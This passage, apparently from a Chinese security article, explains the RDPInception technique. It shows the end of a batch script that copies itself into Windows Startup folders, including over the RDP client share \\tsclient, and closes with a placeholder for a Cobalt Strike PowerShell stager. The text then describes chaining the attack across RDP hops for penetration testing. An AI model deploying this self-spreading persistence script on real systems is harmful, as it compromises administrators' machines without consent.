echo|%dirs2%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
# 将上述 run.bat 批处理文件依次拷贝到以下识别出的所有系统启动目录下
for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (
copy run.bat "%%a" >nul 2>&1
copy C:\temp\run.bat "%%a" >nul 2>&1
copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1
)
# 清理临时文件夹
del /q %TEMP%\temp_00.txt >nul 2>&1
# 最后执行 Cobalt Strike 生成的 PowerShell Stager
REM if "WINDOMAIN"="%USERDOMAIN%"( powershell.exe <cradle here> )
利用该脚本可以以递归方式对 RDP 接入设备的访客计算机发起攻击。目前,该攻击已有效应用于 ActiveBreach 团队多种模拟评估和复杂渗透测试场景中。大体思路与之前的两个情景类似:
在渗透测试中,如果我们获得某台服务器 C 的控制权,而最终目标是 PC X,但由于对方高度安全的网络环境限制,我们只有采取 RDP 反向攻击的方式,通过对接入 C 的服务器 B 进行攻击控制,之后,对接入 B 的服务器 A 进行攻击控制,最终,对接入 A 的 PC X 形成攻击控制。
整个攻击链如下:
PC X RDP to Server A
Server A RDP to Server B
Server B RDP to Server C
在这整条攻击链路中,攻击者可以在任意计算机设备中发起 RDPInception 攻击。按照 RDPInception 的攻击理论,只要管理员以 RDP 远程桌面的方式登录到这条路径中的任何一台设备,攻击者就可以循环反复获取到所有设备的控制权。而攻击者唯一要做的就是在其中一台设备上发起 RDPInception 攻击,然后,只需静静等待管理员发起 RDP 远程桌面连接请求,其余的后续攻击便可由程序自动完成了。无需蹲点守候持续监控,只需对入侵服务器部署好攻击向量,姜太公钓鱼,自会让那些愿者陆续上钩。这种攻击技术无需用户凭证或其它漏洞利用,可在端口和应用等其它接入条件高度受限的网络环境下的横向渗透测试中,当其它横向渗透技术或提权操作被用完用尽,陷入“黔驴技穷”和一筹莫展状况时,可考虑使用此招。
相关文章:内网渗透测试:初探远程桌面的安全问题 - FreeBuf网络安全行业门户内网渗透测试:获取远程桌面连接记录与 RDP 凭据 - FreeBuf网络安全行业门户